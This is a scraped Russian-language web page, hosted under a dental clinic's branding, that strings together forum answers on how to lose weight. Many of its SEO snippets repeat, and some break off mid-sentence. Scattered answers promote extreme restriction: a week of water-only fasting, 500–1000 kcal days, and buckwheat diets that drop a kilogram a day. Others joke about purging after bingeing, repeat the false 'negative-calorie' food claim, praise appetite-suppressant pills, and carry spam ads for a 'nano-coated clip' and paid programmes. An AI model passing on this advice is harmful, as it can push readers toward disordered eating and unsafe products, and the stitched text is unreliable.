Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Что нужно кушать чтобы похудеть? И быть красивой ?

Как раз ничего нельзя кушать

Что нужно кушать, чтобы похудеть? Все мы понимаем, что организму нужны все питательные вещества. Необходимы витамины, минералы, микроэлементы. И питаться 3 яблоками в день с кефиром 1% только здоровью вредить.

Вобще-то, чтобы похудеть, нужно не кушать

Почитайте питание по группе крови. Это пока единственное, что сдвинуло мой вес. Вредности не едим етественно.

В интернете посмотрите, там есть много различных диет, которые могут вам подойти, и не забывать о физических упражнений

Советы диетологов для худеющих.
1.Выпивать не менее 2 литров воды. Попробуйте пить 8 стаканов воды в день и уже через неделю, вы заметите изменения в лучшую сторону. Через две недели, ваш организм начнет работать как часы. Важно! Пьем воду до еды, после еды необходимо подождать 30-40 минут.
Для мягкой активации пищеварительного тракта после пробуждения, рекомендуется натощак выпивать 1 стакан воды.
2. Распланируйте свой рацион на 5-6 разовое питание в течении дня (тем самым организм не будет входить в режим экономии и накапливать энергию в виде жира.) Конечно полноценно питаться 5-6 раз в день работающей женщине сложно. По этому, предлагаю вам взять в привычку носить в сумочке небольшое яблоко, орехи или нежирный йогурт. Прекрасные и полезные перекусы .
3. Кушать вечером можно. Главное, что бы последний прием пищи был за 3 часа до сна. Не можете уснуть не перекусив на сон грядущий? Выпейте стакан кефира.) Пить воду допускается в любое время.
4. Выработайте привычку пить чай и кофе без сахара, также и без каких - либо добавок.
5. Разгрузочный день без вреда фигуре можно проводить 1 раз в неделю. Полностью отказываться от пищи в разгрузочный день не рекомендуется - пейте кефир, или ешьте постное куриное мясо.
6. Лучшее время для занятием спортом вечер. Активность сердечнососудистой системы максимальна к 18 часам, соответственно, это самое подходящее время для тренировок. Идеальное время для спорта с 17:00 до 20:00
7. Легкая зарядка утром "разгонит" обмен веществ, поможет проснуться и поднять жизненный тонус и настроение.
8.Завтрак - самый важный этап дня, никогда не пропускай его! На завтрак можно все! Все, что мы съедаем до 12 часов, полностью усваивается организмом и не откладывается «про запас»
9. Супы, бульоны, салаты, отварное нежирное мясо, овощи, фрукты идеальны для обеда. Не забудьте перед едой выпить стакан воды!
10.Йогурт, салат, кефир, отварное нежирное мясо, овощи подойдут на полдник.
11. Легкий салат, творог, йогурт или немного тушеных овощей - так выглядит идеальный ужин.
12. Фрукты, особенно сладкие, лучше есть в первой половине дня.
13. Для тех кто всерьез решил сбросить лишние килограммы,
про жареные блюда стоит забыть на долго.
14. Исключаем полностью майонез из рациона!
15. Забываем про полуфабрикаты:
фастфуд, семечки, орешки соленые, чипсы и все в этом роде. Это не только вредно для фигуры, это наносит огромный вред здоровью!
16. Не стоит полностью отказываться от сладкого! http://www.womenscredo.ru/hudeem-vmeste/

Гречка, маложрание ( 500 калорий в день и есть маложрание )

Готовьте блюда на пару или варите. 5. В день употребляйте 8 стаканов воды при отсутствии отеков сердечного либо почечного происхождения . Чай, кофе, отвары и супы в это количество не входят.

Правильное питание. Постарайтесь заменить жирные блюда белковыми: вместо жареной говядины — отварное куриное филе, тунец, приготовленный без добавления большого количества жиров, отварные яйца. Но и не стоит полностью отказываться от жирного: многие витамины являются жирорастворимыми.
Добавьте максимум овощей в ваш рацион: сырые, отварные или тушёные овощи — основа блюда.
Вода — минимум 1,5-2 литра в сутки.
Не злоупотребляйте сладкими и мучными изделиями: замените белый хлеб на чёрный из муки грубого помола, не увлекайтесь сладостями. Быстро восстановить уровень энергии на тренировке лучше поможет спелый банан, чем шоколадка.
Фрукты — источник витаминов и минералов наравне с овощами. Обязательно включайте их в свой зимний рацион, причём, не в виде соков (найти натуральный и полезный сок — практически невозможно, разве что, приготовить самостоятельно), а в сыром виде.
Разделяйте приёмы пищи: 3-5 приёмов вместо 1-2. Соотношение количества от дневного рациона примерно должно составлять 20% на завтрак, 35% на обед и 25% — на ужин, остальное — можно распределить между полдниками в послеобеденное время.
Зимой горячая пища поможет согреться и сэкономит усилия организма на обогрев. Это тёплые супы, овощи, чай. В пищевых добавках и витаминах в лучшем случае мало пользы. Это напрасная трата денег. Витамины необходимы при обнаружении явных признаков авитаминоза, что лучше всего определит врач-диетолог. Подробнее о правильном питании можно прочитать Тут . И обязательно бег, например во дворе или в парке. Час бега трусцой сжигает 750-900 ккал: это больше, чем за то же время езды на велосипеде, занятий теннисом и даже силовыми видами спорта. Именно бег позволяет моделировать фигуру, подсушить её, убрав лишние жировые отложения с наших «любимых» мест.
Тут можно ознакомиться подробнее.

Какие фрукты нужно кушать, чтобы похудеть???

Те, которые без теста.

Молочные продукты и так далее. Разумнее будет кушать маленькими порциями, но достаточно часто, чем большими и редко.Важное правильно для тех, кто хочет правильно похудеть нужно питаться регулярно.

Яблоки. Грушы.

Чтоб похудеть нужно вообще меньше всего есть

Овощи, но не картофель и не свёклу, и лучше сырыми.

Займитесь гимнастикой:)

Все фрукты можно. только бананы только бананы не ешь.

А все из-за того, что во время выдавливания сока разрушается клетчатка фрукта, и в результате повышается его калорийность нашему организму нужно намного меньше сил, чтобы переварить сок .Видео как похудеть без вреда для здоровья.

Порцию переполовинь.. а фрукты... не надейся..

Очень хочу похудеть ПОМОГИТЕ!!!

НМЖ.
Исключительно.

Если у вас возник вопрос, что же можно и нужно кушать, то прочтите эту статью.ну вот, оказывается не только не есть, но ещ и не пить, лучше напишите список что надо есть, чтобы похудеть.

Бегайте по утром потом душ потом свежие овощи и каша вот и красавица перед нами

Подруга здорово похудела на диете Дюкана. В своей методике Пьер Дюкан предлагает четыре последовательных этапа (фазы) , каждый из которых имеет свои особенности. Первые две фазы помогают похудеть и вернуться к нормальному весу, третья и четвертая фазы позволяют закрепить эффект.

Диета "Любимая" (посмотри в интернете) много кто хвалит

Как похудеть???

Не воспринимать еду как вкусняшку.. )
Воспринимай еду как пищу - как топливо для авто.
А вторичный ответ таков: В день ты должна продвигаться МИНИМУМ 6 км. быстрым торопливым шагом, а лучше бегом.
Но если хочешь быстрый результат - купи себе ролики и весь день на них катайся - на выходных например.
Вот я скидываю автоматически вес на 3 кг на третий день - после одной прогулки на роликах.
PS: Но на роликах я не катаюсь, а: летаю, бегаю, прыгаю, кувыркаюсь, ношусь как угарелый - двигаюсь в общем.
Я даже специально ем много, чтобы не быть дистрофом..) ) А то ролики - это ворюга жировых складок.. )
И да, На завтрак ешь как хочешь, если знаешь, что будет активно двигаться весь день, на обед ешь в меру, а на ужин не ешь вообще.
Перед сном нельзя есть!

Что нужно есть, чтобы похудеть? Как правило, для того чтобы похудеть, человек начинает соблюдать определенный перечень строгих диет, подсчитывает количество калорий каждого кусочка пищи попавшего к нему в рот...

А зачем? Пока пухлый подсохнет, худой издохнет.

Не жрать! однако

Хочу постоянно кушать, но и похудеть хочу. Что делать?

Иди покушай пока я подумаю

Что можно есть при похудении? Мясо и птица, разреш нные на программе похудания. Нельзя жирную свинину, утку, гуся, внутренние органы животных печень, почки, сердце, легкие, мозги и копч ности.Как мне похудеть, если я люблю поесть?

Кушай постоянно ёгурты.

Перед едой выпей стакан холодной воды

Кушать по 250 грамм 5-6 раз в день.

Иди на войну.

Исключи жирное, жаренное, солёное из рациона.. .
И майонез...

Что нужно кушать, чтобы похудеть перечень продуктов, способствующих похудению. Перестаньте употреблять жиры, и переключитесь на продукты, которые содержат белок. Лучшим источником белка в мире считается яйцо.

Перестать хотеть кушать

Жуй жвачку

Жри...:)))

Не растягивай желудок для начала. Ешь лучше часто но по маленьку. Пей ДО еды. Не завтракай и терпи не ешь сколько хватит сил.

Пытайся есть понемногу но не заставляй себя голодать потому что наоборот начнёшь наедаться и наберешь вес.

В ней ты и узнаешь на свой вопрос ответ что нельзя есть, чтобы эффективно похудеть, а что есть можно и нужно. Начнем с того, что нельзя, чтобы было потом приятно узнать, что можно кушать. Ты уже вернулась?

Как в древние времена - обожрись а потом иди в сортир очиститься перрорально :)

Как похудеть? И что для этого надо?

Меньше кушать.

Тут же закономерно возникает второй извечный вопрос для представительниц прекрасного пола что есть, чтобы похудеть? Приведем некоторые рекомендации по поводу того, что можно и нужно кушать, чтобы иметь стройную фигуру.

Для этого надо сейчас пойти лечь спать а не сидеть тут и не пожирать шоколадки.

Есть правильные продукты + спорт + секс

Есть по чуть-чуть и по чаще)))) )

Вот так, в двух словах ответить на этот вопрос?
Что ж, на вторую часть вопроса можно ответить здесь: "Начать! "
Первая же часть вопроса предполагает более длинный, который здесь просто не поместится.

Меньше есть именно того, что ты любишь. и больше полезного.

Что нужно кушать, чтобы похудеть? Все мы понимаем, что организму нужны все питательные вещества. Необходимы витамины, минералы, микроэлементы. И питаться 3 яблоками в день с кефиром 1% только здоровью вредить.

Жрать меньше, только овощи и фрукты можно.

Что кушать что бы похудеть?

Сало

Готовьте блюда на пару или варите. 5. В день употребляйте 8 стаканов воды при отсутствии отеков сердечного либо почечного происхождения . Чай, кофе, отвары и супы в это количество не входят.

Белковую пищу: творог, яйца, мясо нежирное, птица, рыба, бобы, зелень

От еды не похудеешь надо спортом заниматься.

Какая то знаменитость говорила побольше овощей фруктов и секса!)

Вообще ничего не есть, хотябы неделю. Только воду пей. Организм передет на внутреннее питание и "съест" весь жир, шлаки и прочее, что накопилось за жизнь. Почитай в интернете о лечебном голодании.

Овощи и фрукты

Молочные продукты и так далее. Разумнее будет кушать маленькими порциями, но достаточно часто, чем большими и редко.Важное правильно для тех, кто хочет правильно похудеть нужно питаться регулярно.

..перловка и гречка на воде... лучше без соли... но можно чуть... на ночь кефир.... сможешь выдержать такую диету.... похудеешь к весне...

Дюкан вам в помощь)))) Я килограмм 15 за полгода сбросил не напрягаясь...

Есть целый ряд продуктов с "отрицательной калорийностью". Это значит, что на переваривание этих продуктов тратится больше калорий, чем содержится в них самих.
Такой «отрицательной калорийностью» могут похвастаться многие овощи, особенно, зелёные. Так, например, это: спаржа, свекла, брокколи, капуста, патиссон, дайкон, кабачок, цветная капуста, сельдерей, перец чили, огурец, одуванчик, эндивий, кресс-салат, чеснок, зелёная фасоль, салат-латук, руккола, лук, редис, шпинат, щавель, репа, цуккини, баклажан, перец болгарский.
Среди фруктов и ягод: яблоко, клюква, грейпфрут, лимон, манго, папайя, ананас, малина, клубника, мандарин.
Травы и специи: имбирь, перец (чили), корица, горчица (семена), лён (семена), укроп (семена), тмин, кориандр.

Все кушать, но в меру. готовить на пару, варить, запекать, тушить.
кушать маленькими порциями 4-6 раз в день.
пить много воды.
читайте сами о правильном питании

Нашли что спросить на Ответах. Это надо врача-диетолога спрашивать. а не пользоваться ОБС.

А все из-за того, что во время выдавливания сока разрушается клетчатка фрукта, и в результате повышается его калорийность нашему организму нужно намного меньше сил, чтобы переварить сок .Видео как похудеть без вреда для здоровья.

Низкокалорийные продукты в ограниченом количестве.

Нельзя резко переставать есть, ибо навредите себе же. 1. Приучите себя есть в одно и то же время. Старайтесь принимать пищу не один-два раза в день, а 4-5. С утра кашу можно, и яблоко, например. В обед что нибудь с низким содержанием жиров. На ужин салатик. Старайтесь уменьшить количество соли и сахара (!) .Пейте много обычной воды, а не чай, кофе или газировка с ароматизаторами. Если что - то сладкое, лучше это есть с утра, чтобы оное не откладывалось у вас на талии. Если решитесь на применение каких либо лекарств, кофе, чая и тому подобного с пометкой, что это помогает худеть, постарайтесь разобраться в том, каким образом это действует и не навредит ли вашему организму. Удачи вам

Чтобы похудеть нельзя два часа после тренировки кушать или нужно - все по разному говорят....Как же всё-таки правильно?

Нельзя.

Если у вас возник вопрос, что же можно и нужно кушать, то прочтите эту статью.ну вот, оказывается не только не есть, но ещ и не пить, лучше напишите список что надо есть, чтобы похудеть.

Нужно объязательно кушать после треньки сразу как почувствуешь голод! организм ведь должен восстановиться, все он берет с пищи, если ты ему откажешь в нужный ему момент причинишь ему вред, примерно через 40 мин или час гдето но не 2 часа! удачи

Кушайте часто, и после трени тоже, обязательно. Главный принцип похудания - съедать калорий меньше, чем тратить. Но он часто не выполняется, отсюда многие и не верят, хотя сами не соблюдают.

Есть так называемый шейпинг там насилуют себя питанием- тоесть не пьют и не едят и до и после трени по 3-4 часа.
в результате худеют очень эфективно

В вашем случае нужно кушать.
вы худеете, а не сушитесь. Вы более эффективно сините вес, если будите после тренировки есть

Через часок можно покушать) да в принципе и раньше, если там преимущественно белковая пища. Вообще кушать надо и нужно, даже если ты бегаешь и худеешь, просто правильно.

Что нужно есть, чтобы похудеть? Как правило, для того чтобы похудеть, человек начинает соблюдать определенный перечень строгих диет, подсчитывает количество калорий каждого кусочка пищи попавшего к нему в рот...

Как похудеть на 5 кг?

Кушать правильно и, если есть время, спортом заниматься

Что можно есть при похудении? Мясо и птица, разреш нные на программе похудания. Нельзя жирную свинину, утку, гуся, внутренние органы животных печень, почки, сердце, легкие, мозги и копч ности.Как мне похудеть, если я люблю поесть?

Так же как и на 1 кг только в 5 раз дольше

Повесить замок на холодильник.

1.Выпивать не менее 2 литров воды. Попробуйте пить 8 стаканов воды в день и уже через неделю, вы заметите изменения в лучшую сторону. Через две недели, ваш организм начнет работать как часы. Важно! Пьем воду до еды, после еды необходимо подождать 30-40 минут.
Для мягкой активации пищеварительного тракта после пробуждения, рекомендуется натощак выпивать 1 стакан воды.
2. Распланируйте свой рацион на 5-6 разовое питание в течении дня (тем самым организм не будет входить в режим экономии и накапливать энергию в виде жира.) Конечно полноценно питаться 5-6 раз в день работающей женщине сложно. По этому, предлагаю вам взять в привычку носить в сумочке небольшое яблоко, орехи или нежирный йогурт. Прекрасные и полезные перекусы .
3. Кушать вечером можно. Главное, что бы последний прием пищи был за 3 часа до сна. Не можете уснуть не перекусив на сон грядущий? Выпейте стакан кефира.) Пить воду допускается в любое время.
4. Выработайте привычку пить чай и кофе без сахара, также и без каких - либо добавок.
5. Разгрузочный день без вреда фигуре можно проводить 1 раз в неделю. Полностью отказываться от пищи в разгрузочный день не рекомендуется - пейте кефир, или ешьте постное куриное мясо.
6. Лучшее время для занятием спортом вечер. Активность сердечнососудистой системы максимальна к 18 часам, соответственно, это самое подходящее время для тренировок. Идеальное время для спорта с 17:00 до 20:00
7. Легкая зарядка утром "разгонит" обмен веществ, поможет проснуться и поднять жизненный тонус и настроение. http://www.womenscredo.ru/hudeem-vmeste/

Бегать по вечерам и есть до 19:00

Всё исправит только правильная еда! не ешьте много и не ешьте очень мало ото заболеете! ешьте в меру!

Что нужно кушать, чтобы похудеть перечень продуктов, способствующих похудению. Перестаньте употреблять жиры, и переключитесь на продукты, которые содержат белок. Лучшим источником белка в мире считается яйцо.

Зачем?

Заняться фитносом, правильно питаться, стараться не есть после 6(а если и есть то что-нибудь легкое например: яблочко))) и пей побольше зеленого чая он сбивает апеттит.

Я скинула 14 кг за 4 месяца мне почти 14 не ела после 18 00, ела сладкое только раз в неделю тойсть булочку или конфету, занималась почти каждый день спортом по минут 30,пила 6 стаканов воды в день и воля красивый накаченный животик и кожа не висит

Сижу на гречке, вес падает по кг в сутки, выживу расскажу...

По килограмму в сутки это круто))) И для организма и для кожи. Я убрала 8, но за три месяца. Пила редуксин лайт усиленную формулу, для контроля аппетита, соблюдала небольшую диету, пила по 2 литра воды в день.

В ней ты и узнаешь на свой вопрос ответ что нельзя есть, чтобы эффективно похудеть, а что есть можно и нужно. Начнем с того, что нельзя, чтобы было потом приятно узнать, что можно кушать. Ты уже вернулась?

Смотря с какого веса.... Моему организму кажется, что у меня якобы ничего лишнего, потому на пп и спорте ничего не уходит (163/54), но хочется быть 50кг. Если у вас та же ситуация - тут только дефицит калорий поможет или диета более жесткая...

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Портила здоровье редуксином, липриной, жидким кашатном, ксениКАЛОМ семенами чиа, зеленым кофе, ягодами годжи, флу, кленом. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие (что важно в сегодняшней непростой ситуации в стране). Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Как похудеть на 20 кг

Спортом надо занимаца

Тут же закономерно возникает второй извечный вопрос для представительниц прекрасного пола что есть, чтобы похудеть? Приведем некоторые рекомендации по поводу того, что можно и нужно кушать, чтобы иметь стройную фигуру.

Скотч на рот

Как похудеть на 20 кг

Никак

Что нужно кушать, чтобы похудеть? Все мы понимаем, что организму нужны все питательные вещества. Необходимы витамины, минералы, микроэлементы. И питаться 3 яблоками в день с кефиром 1% только здоровью вредить.

Не кушать мучное

Меньше надо жрать!

Забыть про сладости, мучное, картошку и жирное мясо и алкоголь, полюбить овощи и кушать не больше 1000
Ккал в день

Сбалансированное питание и умеренные физические нагрузки, главное не пере усердствовать. И еще сбрасывать вес нужно постепенно, при резком сбросе вес может вернуться

Вон мириманова на 60 похудела
Так и вбейте в гугле "Екатерина Мириманова"

Готовьте блюда на пару или варите. 5. В день употребляйте 8 стаканов воды при отсутствии отеков сердечного либо почечного происхождения . Чай, кофе, отвары и супы в это количество не входят.

Зачем?

Заклеить рот клеем моментом

Незнаю наверно надо не есть мучное

Спорт и правильное питание в помощь

Присоединяйтесь к нам! Мы запускаем похудательный курс онлайн с 08.06. Участие для всех БЕСПЛАТНО!!! Подробнее здесь http://vk.com/reformaclubspb

Молочные продукты и так далее. Разумнее будет кушать маленькими порциями, но достаточно часто, чем большими и редко.Важное правильно для тех, кто хочет правильно похудеть нужно питаться регулярно.

Что надо кушать что бы похудеть?

Надо НЕ кушать)))

А все из-за того, что во время выдавливания сока разрушается клетчатка фрукта, и в результате повышается его калорийность нашему организму нужно намного меньше сил, чтобы переварить сок .Видео как похудеть без вреда для здоровья.

Чудосперму! регулярно

Ешь морковку картошку и хрен будешь как софи лорен))))

Ни чего, воду пейте

Ничего или клевать как птичка

Ешь вода пей вода срать не буишь никада))) ) И не потолстеешь))))

Если у вас возник вопрос, что же можно и нужно кушать, то прочтите эту статью.ну вот, оказывается не только не есть, но ещ и не пить, лучше напишите список что надо есть, чтобы похудеть.

Траву и капусту с морковью)
Белок в рацион обязательно - свежевысосанный)

Траву

Ну блинчики там, аладушки, ватружки, пирожки)))) это всё диетическое))))

Как похедеть без всяких диет

Без ограничений в еде не похудеете

Что нужно есть, чтобы похудеть? Как правило, для того чтобы похудеть, человек начинает соблюдать определенный перечень строгих диет, подсчитывает количество калорий каждого кусочка пищи попавшего к нему в рот...

А правильно Раневская говорила, Фаина, что, типа, если хотите похудеть - кушать надо голой и перед зеркалом? (+) )))))

Правильно говорила М. Плесецкая, что надо меньше жрать

Что можно есть при похудении? Мясо и птица, разреш нные на программе похудания. Нельзя жирную свинину, утку, гуся, внутренние органы животных печень, почки, сердце, легкие, мозги и копч ности.Как мне похудеть, если я люблю поесть?

Поэтому она и была такая тощая

Угу) ) мужик с похмела утром мается, жена может тебе борщечку, уйди а может чайку уди .. а может рассольчику, да уйди я тебе говорю. а может раздется ...да!! ! МОЖЕТ СРЫГНУ..))

И чтоб темпераментный мужчина наблюдал когда трапеза закончится))

Евреи, чтобы Сталин в гулаг не загнал не только такие шедевры (афоризмы) создавали. Но и ядренну бонбу тоже создали.

Были бы люди заняты полезным делом, не переедали бы. Переедание - от скуки. И еще - от того, что в продуктах много гормонов роста.

Что нужно кушать, чтобы похудеть перечень продуктов, способствующих похудению. Перестаньте употреблять жиры, и переключитесь на продукты, которые содержат белок. Лучшим источником белка в мире считается яйцо.

Как похудеть без вреда что надо кушать и сколько бегать?

Кушайте свежие фрукты в любых количествах, (фрукторианство) похудеете и ещё и пользу получите для организма. А занятия спортом чем больше тем лучше но без фанатизма. Чуство меры вам в помощь.

В ней ты и узнаешь на свой вопрос ответ что нельзя есть, чтобы эффективно похудеть, а что есть можно и нужно. Начнем с того, что нельзя, чтобы было потом приятно узнать, что можно кушать. Ты уже вернулась?

Тут все на много проще чем ты думаешь! Кушать салатики -легкие и бегать в меру . И придерживаться определенных рамок для создания красивой формы тела. Не надо там "грубить" по поводу еды или бега .Все просто! готова будь сразу на серьезные изменения -жертвы .

Бегать не надо.
Лучше вот такая гимнастика: http://ariom.ru/forum/t16266.html

Надо кушать по немножку и класть пищу не в тарелку, а в блюдце.
Не есть после 18 часов, успеть поесть 3 раза до этого времени.
Ешьте с аппетитом и разнообразно.
Исключить сладкое и сдобное.
Совершать ежедневно прогулку в среднем темпе, начиная с 30 минут и прибавляя по 5 минут ежедневно.
Хорошо высыпаться .
Успехов !

Если хотите без вреда - то сбрасывать нужно по 1 кг в месяц: если худеть резко, то большая вероятность того, что килограммы вернутся, с причём "в плюсе". Есть можно всё, но уменьшить количество съедаемой пищи. Старайтесь поздно (на ночь) не есть. А бегать - да сколько хотите, если нет противопоказаний. Очень эффективно сказываются на внешности занятия аквааэробикой.

Если Вы решили действительно похудеть, то придерживайтесь в питании следующих общих правил: регулярно питайтесь; ешьте больше свежих продуктов; не перекусывайте продуктами из фастфуда; съешьте лучше яблоко; используйте в рационе низкокалорийные продукты (клетчатка) и продукты сжигающие жиры (например, красный острый перец, зеленый чай, некоторые фрукты и ягоды, цельные злаки) ; избегайте газированных напитков, вырабатывайте правильные пищевые привычки (как и что есть) ; пейте больше воды; считайте калории.

Тут же закономерно возникает второй извечный вопрос для представительниц прекрасного пола что есть, чтобы похудеть? Приведем некоторые рекомендации по поводу того, что можно и нужно кушать, чтобы иметь стройную фигуру.

Кушать как можно чаще, но понемношку через каждые 2-3 часа. Фрукты, постный суп, варёная грудка, варёные овощи.
Ни грамма шоколада, выпечки, риса, бананов, майонезов, кетчупов, можно чуть чуть английского хлеба или с отрубями но немного и не каждый день.
А по поводу бега, то лучше интервальный бег 16 минут. , 1 мин., медленно, 1 мин. , очень быстро. За 3 часа перед сном ни чего не кущайте, а только пейте воду.

Согласна с предыдущим оратором!
Единственный момент- вареные овощи не несут в себе пользы- это обыкновенные углеводы, лишенные витаминов с высоким гликемическим индексом, так что сырые-лучше! Наберите в интернете "Блог Ярослава Брина"- потрясающе понятно и доступно объяснены все процессы, ведущие в ожирению и похудению. Там и примерное меню и комплекс тренировок есть. Перешла на здоровое питание и на спорт 3 раза в неделю около месяца назад, сначала было очень тяжело... Но сейчас, когда видны результаты- в портзал тянет и на всякие вкусняшки не смотрю. Самое главное понять- что еда-это не способ получить удовольствие, а просто источник энергии.

С утра втяни живот наверх и наклонись и продержись так 25-30 сек. (методика для сужения желудка, кушать будешь меньше) зайди на сайт ,,О самом главном, , скачай таймер Табата И качай пресс под него (20 секунд очень быстро качай пресс, а 10 секунд отдыхай и так 8 раундов) ОЧЕНЬ ПОМОГАЕТ ПОВЕРЬ!! ! и выпивай по 2 литра воды каждый день

.
Диеты все индивидуальные и 95% их не выдерживают. В итоге набирают еще больше.
Даю простые, но эффективные рекомендации:
•пить минимум 1 стакан не кипяченной воды за 30 минут до еды
•ходить не мене 10000 шагов в день со скоростью 5-6 км в час
•перейти на дробное питание 5-6 раз в день
•ограничить потребление ненасыщенных жиров до 40 г в день
•исключить трансжиры (Жиры бывают трех видов - насыщенные (полезные) например рыба некоторых сортов ненасыщенные колбаса сыр и трансжиры (очень плохие) например маргарин
•с удовольствием потреблять продукты с насыщенными жирами так как они содержать очень полезные вещи например жирные кислоты омега -3)
•есть ржаные или пшеничные отруби
•Алкоголь ограничить и лучше всего пить немного красного вина
•Кока пепси и другие сладкие напитки убрать из рациона подальше и не приближаться к ним ближе чем на 25 км
•Сладкое мучное сдобное . Это простые углеводы они очень быстро превращаются в жир. Надо ограничить, но совсем убирать из рациона не следует. Иногда надо себя побаловать
Попробуйте инновационное средство для похудения -клипса с нанопокрытием, которая сочетает идеи иглоукалывания и нанотехнологий.
Еще много полезного для похудения смотрите на блоге Похудение21век

Я не знаю как похудеть... что изменить в своём питании?

Нужно меньше кушать и всё тут.
Значит едите много сладкого, тех же сухофруктов и прочего.. . калорийного. Калории надо считать. В инете всё найдете.

Что нужно кушать, чтобы похудеть? Все мы понимаем, что организму нужны все питательные вещества. Необходимы витамины, минералы, микроэлементы. И питаться 3 яблоками в день с кефиром 1% только здоровью вредить.

Можно ничего не считать. Есть простой способ похудеть без диет. Каждый день не доедайте из своей обычной порции и все. То есть если наливаете тарелочку супа и кушаете с удовольствием, но в конце оставьте ложку супа недоеденной, так же и со вторым блюдом, на следующий день не доедаете 2 ложки. И вы сыты и калории уменьшаете, мучиться от голода не нужно, чувствуете себя прекрасно, организм получает все, что ему нужно, и никакого насилия. Когда дойдете до той порции, что будет вам комфортна, но и не слишком мала, придерживайтесь ее. Удачи.

От фруктов и сухофруктов не хило так поправляются. Если интересует именно процесс похудения и подтягивания мышц, а не их накачивания и увеличения, то вот ссылка на канал девушки, которая в этом очень Вам поможет http://www.youtube.com/channel/UCP7ufSZApV4Mc4FkQrPpLVw

КАК МОЖНО ПОХУДЕТЬ, КАКИЕ НУЖНО ДЕЛАТЬ УПРАЖНЕНИЯ, ЧТО И КАК КУШАТЬ? и НА СКОЛЬКО МОЖНО ПОХУДЕТЬ ЗА ПОЛ ГОДА?

Спортом заниматься надо

Готовьте блюда на пару или варите. 5. В день употребляйте 8 стаканов воды при отсутствии отеков сердечного либо почечного происхождения . Чай, кофе, отвары и супы в это количество не входят.

На сколько угодно. 10кг? 20? 40? за полгода всё это реально. Но нагрузка нужна серьёзная. И диета строгая. Сырые овощи и фрукты. Зелень. Чуть-чуть орехов. Всё. Но ты лодырь- ты не сможешь...

Причина излишней полноты в недостаточном БЕЛКОВОМ питании. И вот почему. Женщина (чаще всего) желая похудеть, садится на ОБЕЗЖИРЕННЫЕ низкокалорийные диеты. Но нельзя прожить на 200 калории в день! Мы постоянно расходуем
энергию для поддержания температуры тела, передвижений, на работу мозга и внутренних органов. И наш мозг воспринимает эту ситуацию как ОТСУТСТВИЕ ПИЩИ, как настоящий ГОЛОД! Мы можем прожить недели или месяцы без белков, углеводов или жиров. Но, как известно, мы не в состоянии прожить недели или месяцы без воды. В нашем мозге при отсутствии пищи в первую очередь (в течение 24 часов) происходит увеличение производства специальных гормонов с целью удержания в организме ВОДЫ и НАТРИЯ – во избежание наступления обезвоживания (пока, как организм думает, мы заняты поиском пищи). И вот, перед нами бедная дама, которая в результате недостаточного потребления белков, начинает накапливать ВОДУ и НАТРИЙ в своем организме. И, естественно, начинает набиратьВЕС, потребляя всего 1000 калорий, думая при этом, что ест все еще слишком много. Опять садится на диету, опять накапливает воду....
Круг повторяется. Поэтому худеть нужно правильно, Вам могут помочь http://vk.com/public92295746

Очень рекомендую программы питания и программы тренировок диетолога Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Как похудеть на 7кг Подскажите пожалуйста. .

Не есть мучное, сладкое, жирное... .
кушать понемногу, но часто 6 раз в день.. .
Не есть до 10 утра и после 6 вечера.. .
физические нагрузки.. .

Молочные продукты и так далее. Разумнее будет кушать маленькими порциями, но достаточно часто, чем большими и редко.Важное правильно для тех, кто хочет правильно похудеть нужно питаться регулярно.

Весы подкрутить.

Есть можно все, но в меру! Так же важны и физические нагрузки. Три года назад у меня родилась дочка, а вместе с ней и 20 лишних килограмм. У меня была паника! На протяжении почти двух лет я пыталась похудеть сама, но сами понимаете, толку никакого. Тем более с ребенком на руках в спортзал не находишься. И тогда мне на глаза попалась ссылка на один сайт. Там обещали похудение за 7 недель, причем первая неделя бесплатная. Я не поверила, но ссылку сохранила. Потом я долго думала и все-таки решила попробовать и записалась. Я была потрясена результатом! Теперь мой вес, как и раньше, 50 кг! И никаких голодовок! Я занималась дома. Так что можете тоже обратиться к специалистам этой школы. http://ra-ke-ta-s.com/ В подтверждение сравните меня на фото до и после этой школы. Дефисы в ссылке уберите. Удачи!

Меньше есть - единственный нормальный способ из тех, что написано выше

Ольга, простое сокращение калорийности питания (меньше есть) т. е. создание дифицита калорий однозначно поможет скинуть вес. Но вопрос только в том, что уйдет - в основном жир (чего все хотят) или снижение веса произойдет за счет мышечной массы (чего все стараются избежать) .
Так вот обычно простой совет "меньше жрать" действительно приводит к снижению веса, НО не к красивому телу. После возврата к обычному рациону питания произойдет откат - жира станет ещё больше, а вот потерянных мышц, к сожалению не прибавиться.
Только грамотно подходя к своему питанию, и НАВСЕГДА меняя свои пищивые привычки, можно качественно изменить свое тело и поддерживать себя ПОСТОЯННО в хорошей форме.
Вот основа рабочей диеты (часть статьи с моего блога http://mydiet4u.ru/effectivnaya_dieta/ ):
1. Постепенное снижение общей калорийности рациона;
2. Снижение в рационе продуктов богатых углеводами;
3. Дробное питание;
4. Регулярные физические нагрузки;
Удачи)

Есть такой коктейль, классная штука. У нас в городе он стоит в пределах 1700-1900 рублей. Но я заказываю его через интернет. Там постоянная скидка. Обходится он мне в 1200 вместе с доставкой. Если заинтересовало, то я в отправила на е-майл ссылку на этот магазин. Зайди почитай может и закажешь. Что касается меня, то вещи что я носила месяц назад, мне уже велики. Значит все таки есть результат.

А все из-за того, что во время выдавливания сока разрушается клетчатка фрукта, и в результате повышается его калорийность нашему организму нужно намного меньше сил, чтобы переварить сок .Видео как похудеть без вреда для здоровья.

